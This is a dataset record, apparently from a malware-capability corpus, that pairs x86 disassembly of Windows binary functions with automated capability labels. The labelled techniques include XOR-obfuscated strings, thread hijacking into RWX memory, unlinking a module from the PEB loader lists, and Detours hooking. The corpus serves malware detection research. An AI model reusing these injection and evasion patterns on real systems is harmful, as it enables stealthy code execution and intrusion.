joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001cf30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, ecx
mov ebx, 1
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
add eax, 0x10
mov dword [ebp + 0xc], eax
push 0x5851f42d
xor eax, eax
mov ecx, esi
push 0x4c957f2d
shr ecx, 0x1e
xor eax, esi
xor ecx, edi
push eax
push ecx
call fcn.1003b610
mov edi, eax
mov esi, edx
mov eax, ebx
cdq
add edi, eax
mov eax, dword [ebp + 0xc]
adc esi, edx
inc ebx
mov dword [eax], edi
mov dword [eax + 4], esi
add eax, 8
mov dword [ebp + 0xc], eax
cmp ebx, 0x138
jl 0x1001cf53
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov dword [eax], 0x138
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10020f10
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10051014]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x74
mov dword [ebp - 0x2f4], 0x18002674
mov dword [ebp - 0x2f0], 0x10151b38
xor eax, eax
mov dword [ebp - 0x2ec], 0x1d060027
mov word [ebp - 0x2e8], 0x131a
mov byte [ebp - 0x2e6], 0
xor byte [ebp + eax - 0x2f3], cl
inc eax
cmp eax, 0xd
jae 0x10020f6a
mov cl, byte [ebp - 0x2f4]
jmp 0x10020f55
push ebx
mov byte [ebp - 0x2e4], 0x52
mov al, 0x3c
xor al, byte [ebp - 0x2e4]
mov bl, 0x3e
mov ah, bl
mov byte [ebp - 0x2e3], al
mov al, byte [ebp - 0x2e4]
mov dl, 0x36
mov bh, ah
mov byte [ebp - 0x2d5], ah
xor bl, al
mov byte [ebp - 0x2da], 0
xor ah, al
mov byte [ebp - 0x2e6], 0
xor bh, al
mov byte [ebp - 0x2df], ah
mov dh, dl
mov byte [ebp - 0x2e0], bl
xor dl, al
mov byte [ebp - 0x2dc], bh
xor dh, al
mov byte [ebp - 0x2e1], dl
mov cl, 0x26
mov byte [ebp - 0x2dd], dh
xor cl, al
mov byte [ebp - 0x2da], 0
mov ch, 0x7c
mov byte [ebp - 0x2e2], cl
xor ch, al
mov al, byte [ebp - 0x2d5]
xor al, byte [ebp - 0x2e4]
mov byte [ebp - 0x2db], al
lea eax, [ebp - 0x2f3]
push esi
push eax
lea eax, [ebp - 0x2e3]
mov byte [ebp - 0x2de], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], 0
lea esi, [eax + 0x430]
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x2cc
lea eax, [ebp - 0x2d4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x2d4], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x224], 0x10001f20
push eax
push esi
mov dword [ebp - 0x2d4], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10038745
mov esp, ebp
pop ebp
ret
Function at 0x100210c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movaps xmm0, xmmword [0x10049270]
xor eax, eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x18], 0x59437f45
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0x4f4a4e
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x100210e6
mov byte [ebp - 0x10], 0x29
mov al, 0x47
xor al, byte [ebp - 0x10]
mov bl, 0x45
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x4d
mov bh, ah
mov byte [ebp - 1], ah
xor bl, al
mov byte [ebp - 6], 0
xor ah, al
mov byte [ebp - 0x11], 0
xor bh, al
mov byte [ebp - 0xb], ah
mov dh, dl
mov byte [ebp - 0xc], bl
xor dl, al
mov byte [ebp - 8], bh
xor dh, al
mov byte [ebp - 0xd], dl
mov cl, 0x5d
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 6], 0
mov ch, 7
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0xf]
mov byte [ebp - 0xa], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x1002116f
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x11
test esi, esi
jne 0x1002118e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call edi
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100211a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x100211de
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100211e2
cmp edx, esi
jne 0x100211c7
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x10021202
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10021206
cmp edx, esi
jne 0x100211eb
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x10021226
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1002122a
cmp edx, esi
jne 0x1002120f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10022660
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003d800
mov eax, dword fs:[0]
push eax
sub esp, 0x44
push ebx
push esi
mov eax, dword [0x10051014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
test eax, eax
je 0x1002282b
mov dword [esi + 0x24], eax
xor eax, eax
mov word [esi + 0x20], 1
mov word [esi + 0x28], ax
call fcn.10022c60
movaps xmm0, xmmword [str.5gPXT__R]
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0x5056e15
mov dword [ebp - 0x34], 0x6805050f
mov byte [ebp - 0x30], 0
nop
mov al, byte [ebp - 0x48]
xor byte [ebp + ecx - 0x47], al
inc ecx
cmp ecx, 0x17
jb 0x100226d0
cmp byte [ebp - 0x47], 0
mov byte [ebp - 0x30], 0
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
jne 0x100226fd
xor ecx, ecx
jmp 0x1002270c
lea ecx, [ebp - 0x47]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10022703
sub ecx, edx
push ecx
lea eax, [ebp - 0x47]
push eax
lea ecx, [ebp - 0x2c]
call fcn.100027c0
mov byte [ebp - 4], 1
lea edx, [ebp - 0x2c]
mov ecx, dword [esi + 0xc]
call fcn.100123c0
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x18]
cmp eax, 0x10
jb 0x1002273e
inc eax
push eax
push dword [ebp - 0x2c]
call fcn.100026c0
cmp dword [ebp + 0x1c], 0
jne 0x100227ba
mov byte [ebp - 0x20], 0x7b
mov al, 0x28
xor al, byte [ebp - 0x20]
mov cl, 0x12
xor cl, byte [ebp - 0x20]
mov dl, 0x1e
mov byte [ebp - 0x1f], al
mov ah, dl
mov byte [ebp - 0x1e], cl
mov ch, 0x5b
mov cl, byte [ebp - 0x20]
mov dh, 0x38
mov byte [ebp - 0x11], 0x1a
xor ah, cl
mov al, byte [ebp - 0x11]
xor ch, cl
xor al, cl
mov byte [ebp - 0x12], 0x15
mov byte [ebp - 0x17], al
mov bl, 0x1c
mov al, byte [ebp - 0x12]
mov bh, 0x17
xor al, cl
mov byte [ebp - 0x1b], ah
mov byte [ebp - 0x16], al
xor dl, cl
xor bl, cl
mov byte [ebp - 0x1a], ch
xor dh, cl
mov byte [ebp - 0x15], 0
xor bh, cl
mov byte [ebp - 0x1d], dl
lea eax, [ebp - 0x1f]
mov byte [ebp - 0x1c], bl
push eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x19], dh
mov byte [ebp - 0x18], bh
mov byte [ebp - 0x15], 0
call fcn.100028c0
mov byte [ebp - 4], 2
lea edx, [ebp - 0x48]
jmp 0x10022811
cmp dword [ebp + 0x20], 0x10
lea eax, [ebp + 0xc]
movaps xmm0, xmmword [0x10049050]
cmovae eax, dword [ebp + 0xc]
xor ecx, ecx
push eax
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0xa
nop dword [eax]
mov al, byte [ebp - 0x28]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0x10
jb 0x100227e0
sub esp, 0x18
mov byte [ebp - 0x17], 0
lea eax, [ebp - 0x27]
mov ecx, esp
push eax
call fcn.100028c0
lea eax, [ebp - 0x48]
push eax
call fcn.1000b650
add esp, 0x20
mov byte [ebp - 4], 3
mov edx, eax
mov ecx, dword [esi + 0x10]
call fcn.100123c0
mov eax, dword [ebp - 0x34]
cmp eax, 0x10
jb 0x1002282b
inc eax
push eax
push dword [ebp - 0x48]
call fcn.100026c0
mov eax, dword [ebp + 0x20]
cmp eax, 0x10
jb 0x1002283d
inc eax
push eax
push dword [ebp + 0xc]
call fcn.100026c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x10022aa0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003d888
mov eax, dword fs:[0]
push eax
sub esp, 0x38
push ebx
push esi
push edi
mov eax, dword [0x10051014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov ax, word [ebp + 8]
mov dword [ebp - 4], 0
cmp dword [ebp + 0x1c], 0
mov word [esi + 0x28], ax
jne 0x10022b92
mov bh, 0x5c
mov byte [ebp - 0x24], 0x3d
mov byte [ebp - 0x12], bh
mov al, 0x54
xor al, byte [ebp - 0x24]
mov cl, 0x58
mov byte [ebp - 0x11], 0x6e
mov bl, cl
mov bh, byte [ebp - 0x11]
mov dl, 0x5a
xor bh, byte [ebp - 0x24]
mov ah, 0x1d
mov byte [ebp - 0x11], bh
mov ch, 0x7e
mov byte [ebp - 0x22], al
mov dh, 0x51
mov al, byte [ebp - 0x24]
mov byte [ebp - 0x23], bh
xor cl, al
mov bh, byte [ebp - 0x12]
xor dl, al
xor bl, al
mov byte [ebp - 0x13], 0x53
xor ah, al
mov byte [ebp - 0x19], 0
xor ch, al
mov byte [ebp - 0x21], cl
xor dh, al
mov byte [ebp - 0x20], dl
xor bh, al
mov byte [ebp - 0x1f], bl
mov al, byte [ebp - 0x13]
xor al, byte [ebp - 0x24]
cmp byte [ebp - 0x11], 0
mov byte [ebp - 0x1e], ah
mov byte [ebp - 0x1d], ch
mov byte [ebp - 0x1c], dh
mov byte [ebp - 0x1b], bh
mov byte [ebp - 0x1a], al
mov byte [ebp - 0x19], 0
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
jne 0x10022b6a
xor ecx, ecx
jmp 0x10022b79
lea ecx, [ebp - 0x23]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10022b70
sub ecx, edx
push ecx
lea eax, [ebp - 0x23]
push eax
lea ecx, [ebp - 0x40]
call fcn.100027c0
mov byte [ebp - 4], 1
lea edx, [ebp - 0x40]
jmp 0x10022c1b
cmp dword [ebp + 0x20], 0x10
lea eax, [ebp + 0xc]
movaps xmm0, xmmword [0x10048fe0]
cmovae eax, dword [ebp + 0xc]
xor ecx, ecx
push eax
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x31
mov al, byte [ebp - 0x28]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0x10
jb 0x10022bb1
sub esp, 0x18
mov byte [ebp - 0x17], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0x10
jb 0x10022bdf
mov eax, dword [edx]
jmp 0x10022be1
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0x27], 0
jne 0x10022bee
xor ecx, ecx
jmp 0x10022bfd
lea ecx, [ebp - 0x27]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10022bf4
sub ecx, edi
push ecx
lea eax, [ebp - 0x27]
mov ecx, edx
push eax
call fcn.100027c0
lea eax, [ebp - 0x40]
push eax
call fcn.1000b650
add esp, 0x20
mov byte [ebp - 4], 2
mov edx, eax
mov ecx, dword [esi + 0x10]
call fcn.100123c0
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x10022c35
inc eax
push eax
push dword [ebp - 0x40]
call fcn.100026c0
mov eax, dword [ebp + 0x20]
cmp eax, 0x10
jb 0x10022c47
inc eax
push eax
push dword [ebp + 0xc]
call fcn.100026c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x10024db0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003dab2
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
push ebx
push esi
push edi
mov eax, dword [0x10051014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], 0
cmp byte [esi + 0x140], 0
movzx eax, word [esi + 0x144]
movzx ecx, word [esi + 0x136]
push eax
mov word [esi + 0x142], cx
push ecx
je 0x10024e95
movaps xmm0, xmmword [0x10048d30]
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x5f12535e
mov byte [ebp - 0x24], 0
nop dword [eax]
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x13
jb 0x10024e20
sub esp, 0x18
mov byte [ebp - 0x24], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0x10
jb 0x10024e4e
mov eax, dword [edx]
jmp 0x10024e50
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0x37], 0
jne 0x10024e5d
xor ecx, ecx
jmp 0x10024e6c
lea ecx, [ebp - 0x37]
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10024e63
sub ecx, edi
push ecx
lea eax, [ebp - 0x37]
mov ecx, edx
push eax
call fcn.100027c0
lea eax, [ebp - 0x68]
push eax
call fcn.1000b650
add esp, 0x24
mov dword [ebp - 4], 0
mov ebx, 1
jmp 0x10024f3d
mov byte [ebp - 0x20], 9
mov al, 0x2c
mov dh, al
mov byte [ebp - 0x17], 0
xor al, byte [ebp - 0x20]
mov dl, 0x29
mov byte [ebp - 0x1f], al
mov ch, dl
mov al, byte [ebp - 0x20]
mov cl, 0x6d
xor dl, al
mov byte [ebp - 0x17], 0
xor dh, al
mov byte [ebp - 0x1d], dl
mov byte [ebp - 0x19], dh
sub esp, 0x18
mov edx, esp
mov bh, cl
mov bl, 0x66
mov ah, 0x6f
xor cl, al
xor bl, al
xor ah, al
mov byte [ebp - 0x1e], cl
xor ch, al
mov byte [ebp - 0x1c], bl
xor bh, al
mov byte [ebp - 0x1b], ah
mov byte [ebp - 0x1a], ch
mov byte [ebp - 0x18], bh
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0x10
jb 0x10024efa
mov eax, dword [edx]
jmp 0x10024efc
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0x1f], 0
jne 0x10024f09
xor ecx, ecx
jmp 0x10024f19
lea ecx, [ebp - 0x1f]
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10024f10
sub ecx, edi
push ecx
lea eax, [ebp - 0x1f]
mov ecx, edx
push eax
call fcn.100027c0
lea eax, [ebp - 0x50]
push eax
call fcn.1000b650
add esp, 0x24
mov dword [ebp - 4], 1
mov ebx, 2
mov ecx, dword [esi + 0xc]
mov edx, eax
mov dword [ebp - 0x10], ebx
call fcn.100123c0
test bl, 2
je 0x10024f76
mov eax, dword [ebp - 0x3c]
and ebx, 0xfffffffd
cmp eax, 0x10
jb 0x10024f64
inc eax
push eax
push dword [ebp - 0x50]
call fcn.100026c0
mov dword [ebp - 0x3c], 0xf
mov dword [ebp - 0x40], 0
mov byte [ebp - 0x50], 0
test bl, 1
je 0x10024f8d
mov eax, dword [ebp - 0x54]
cmp eax, 0x10
jb 0x10024f8d
inc eax
push eax
push dword [ebp - 0x68]
call fcn.100026c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100356c0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003e7c8
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x10051014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x84], 0
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x7c]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
call fcn.10035460
lea ecx, [ebp - 0x7c]
call fcn.10035510
push esi
lea ecx, [ebp - 0x7c]
call fcn.10035600
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x10035767
inc ecx
push ecx
push dword [ebp + 8]
call fcn.100026c0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10038745
mov esp, ebp
pop ebp
ret

Function at 0x10035a60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.10035c30
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x10035b3d
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x10035aaa
mov eax, dword [ebp - 4]
cmp eax, dword [0x10051004]
ja 0x10035aaa
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x10035a7a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x10035acf
jmp 0x10035b3d
cmp dword [ebp - 0x14], 0x10000
jne 0x10035b23
cmp dword [ebp - 0x18], 0x10000
jb 0x10035b23
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10035b06
mov eax, dword [ebp - 8]
jmp 0x10035b3f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x10035b16
xor eax, eax
jmp 0x10035b3f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10035b38
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.10035c30
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10035a7a
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10035b50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.10035c60
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x10035c25
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x10035b95
mov eax, dword [ebp - 4]
cmp eax, dword [0x10051004]
ja 0x10035b95
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x10035b65
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x10035bba
jmp 0x10035c25
cmp dword [ebp - 0x14], 0x10000
jne 0x10035c0e
cmp dword [ebp - 0x18], 0x10000
jb 0x10035c0e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10035bf1
mov eax, dword [ebp - 8]
jmp 0x10035c27
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x10035c01
xor eax, eax
jmp 0x10035c27
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10035c20
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.10035c60
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10035b65
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10035c90
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10036080
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x10052f08], 0
jne 0x10035ccd
cmp dword [0x10052f04], 0
je 0x10035ccd
mov eax, dword [0x10052f04]
mov dword [0x10052f08], eax
cmp dword [0x10052f08], 0
je 0x10035d4a
mov ecx, dword [0x10052f08]
cmp dword [ecx + 8], 0
je 0x10035d4a
mov edx, dword [0x10052f08]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x10035d4a
mov ecx, dword [0x10052f08]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x10035d4a
mov eax, dword [0x10052f08]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x10035d19
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x10035d20
xor eax, eax
jmp 0x10035e69
mov ecx, dword [0x10052f08]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x10035e69
mov edx, dword [0x10052f04]
mov dword [0x10052f08], edx
jmp 0x10035d66
mov eax, dword [0x10052f08]
mov ecx, dword [eax + 4]
mov dword [0x10052f08], ecx
cmp dword [0x10052f08], 0
je 0x10035da6
cmp dword [0x10052f08], 0
je 0x10035da4
mov edx, dword [0x10052f08]
cmp dword [edx + 8], 0
je 0x10035da4
mov eax, dword [0x10052f08]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x10035da4
mov edx, dword [0x10052f08]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x10035da4
jmp 0x10035cfe
jmp 0x10035d58
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10035e70
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x10035e67
mov eax, dword [ebp - 0x18]
mov dword [0x10052f08], eax
mov ecx, dword [0x10052f08]
mov dword [ecx], 0x52727464
mov edx, dword [0x10052f08]
mov dword [edx + 8], 0
mov eax, dword [0x10052f08]
mov ecx, dword [0x10052f04]
mov dword [eax + 4], ecx
mov edx, dword [0x10052f08]
mov dword [0x10052f04], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x10052f08]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x10035e37
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x10035e57
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x10035e2e
mov eax, dword [0x10052f08]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x10035cfe
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10036bb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10052f04]
mov dword [ebp - 4], eax
jmp 0x10036bc9
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x10036bf0
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x10036bee
call sub.KERNEL32.dll_GetLastError
jmp 0x10036bf2
jmp 0x10036bc0
xor eax, eax
mov esp, ebp
pop ebp
ret